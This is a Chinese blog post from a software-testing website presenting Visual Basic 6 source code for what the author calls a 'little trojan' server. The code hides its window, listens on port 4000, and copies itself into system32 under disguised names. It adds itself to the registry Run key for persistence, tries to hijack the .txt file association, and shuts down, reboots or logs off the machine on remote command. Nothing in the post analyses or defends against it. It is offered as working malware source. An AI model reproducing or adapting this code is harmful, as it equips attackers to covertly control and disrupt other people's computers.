• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

我的小木马---server端---第一次编译

发布: 2007-7-01 21:48 | 作者: admin | 来源: | 查看: 11次 | 进入软件测试论坛讨论

领测软件测试网

´主窗体:Frm_Winsock
´Winsock控件:G_Server

Private Sub Form_Load()
    ´隐藏进程
    ´
    ´读取主机IP
    HostIP = G_Server.LocalIP
    ´读取主机名
    HostName = G_Server.LocalHostName
    With Me
    ´设置本地默认端口
        .G_Server.LocalPort = 4000
    ´监听
        .G_Server.Listen
    ´隐藏窗体
        .Hide
    End With

   
    ´获取木马所在目录
    Dim sCurrentPath As String
    sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
    Debug.Print sCurrentPath
   
    Dim sSystemDir As String
    sSystemDir = "C:\winnt\system32"
    On Error Resume Next
   
    ´复制文件成系统目录下的Systrsy.exe
    FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
    On Error Resume Next
   
    ´复制文件成系统目录下的txtView.exe
    FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

    ´调用
    Call StartupGroup
    Call WriteToTxt

    ´判断程序是否下在运行
    If App.PrevInstance Then
        ´如果已经运行就退出。
        End
    End If
End Sub

Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
    With Me
        If .G_Server.State <> sckClosed Then G_Server.Close
        .G_Server.Accept requestID
    End With
End Sub

Private Sub G_Server_DataArrival(ByVal bytesTotal As Long)
    Dim strData As String
    With Me
        ´ 接收客户请求的信息
        .G_Server.GetData strData
        Select Case strData
            Case "Exit"
           ´关机
                Call ExitWindowsEx(EWX_SHUTDOWN, 0)
            Case "Reboot"
           ´重启
                Call ExitWindowsEx(EWX_REBOOT, 0)
            Case "Logoff"
           ´注销
                Call ExitWindowsEx(EWX_LOGOFF, 0)
        End Select
    End With
End Sub

´modApi模块

´声明全局变量
Public HostIP As Variant
Public HostName As Variant
´声明API函数
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, _
                                                    ByVal dwReserved As Long) _
                                                    As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Public Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, _
                                                                           ByVal lpSubKey As String, _
                                                                           phkResult As Long) _
                                                                           As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, _
                                                                                 ByVal lpvalueName As String, _
                                                                                 ByVal Reserved As Long, _
                                                                                 ByVal dwType As Long, _
                                                                                 lpData As Any, _
                                                                                 ByVal cbData As Long) _
                                                                                 As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, _
                                                                               ByVal lpSubKey As String, _
                                                                               phkResult As Long) _
                                                                               As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000

Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, _
                                      ByVal bScan As Byte, _
                                      ByVal dwFlags As Long, _
                                      ByVal dwExtraInfo As Long)

´写到注册表启动组中的过程
Public Sub StartupGroup()
    Dim skey As String
    Dim result As Long
    Dim hKeyID As Long
    Dim skeyVal As String
    ´启动组中的键,找一个与系统文件相近的。
    skey = "Systrsy"
    ´木马文件的路径,可以用GetSystemDirectory来取得系统路径。
    skeyVal = "C:\winnt\system32\systrsy.exe"
    result = RegOpenKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
    If result = 0 Then
        Debug.Print hKeyID & "/n"
        result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skey) + 1)
        Debug.Print result & "/n"
    End If
End Sub

´与txt文件进行关联
Public Sub WriteToTxt()
    Dim result As Long
    Dim hKeyID As Long
    Dim skey As String
    Dim skeyVal As String
    skey = "txtfile\shell\open\command"
    skeyVal = "C:\windows\system\txtView.exe"
    result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
    If result = 0 Then
        Debug.Print hKeyID & "/n"
        result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)
        Debug.Print result
    End If

End Sub

 


延伸阅读

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网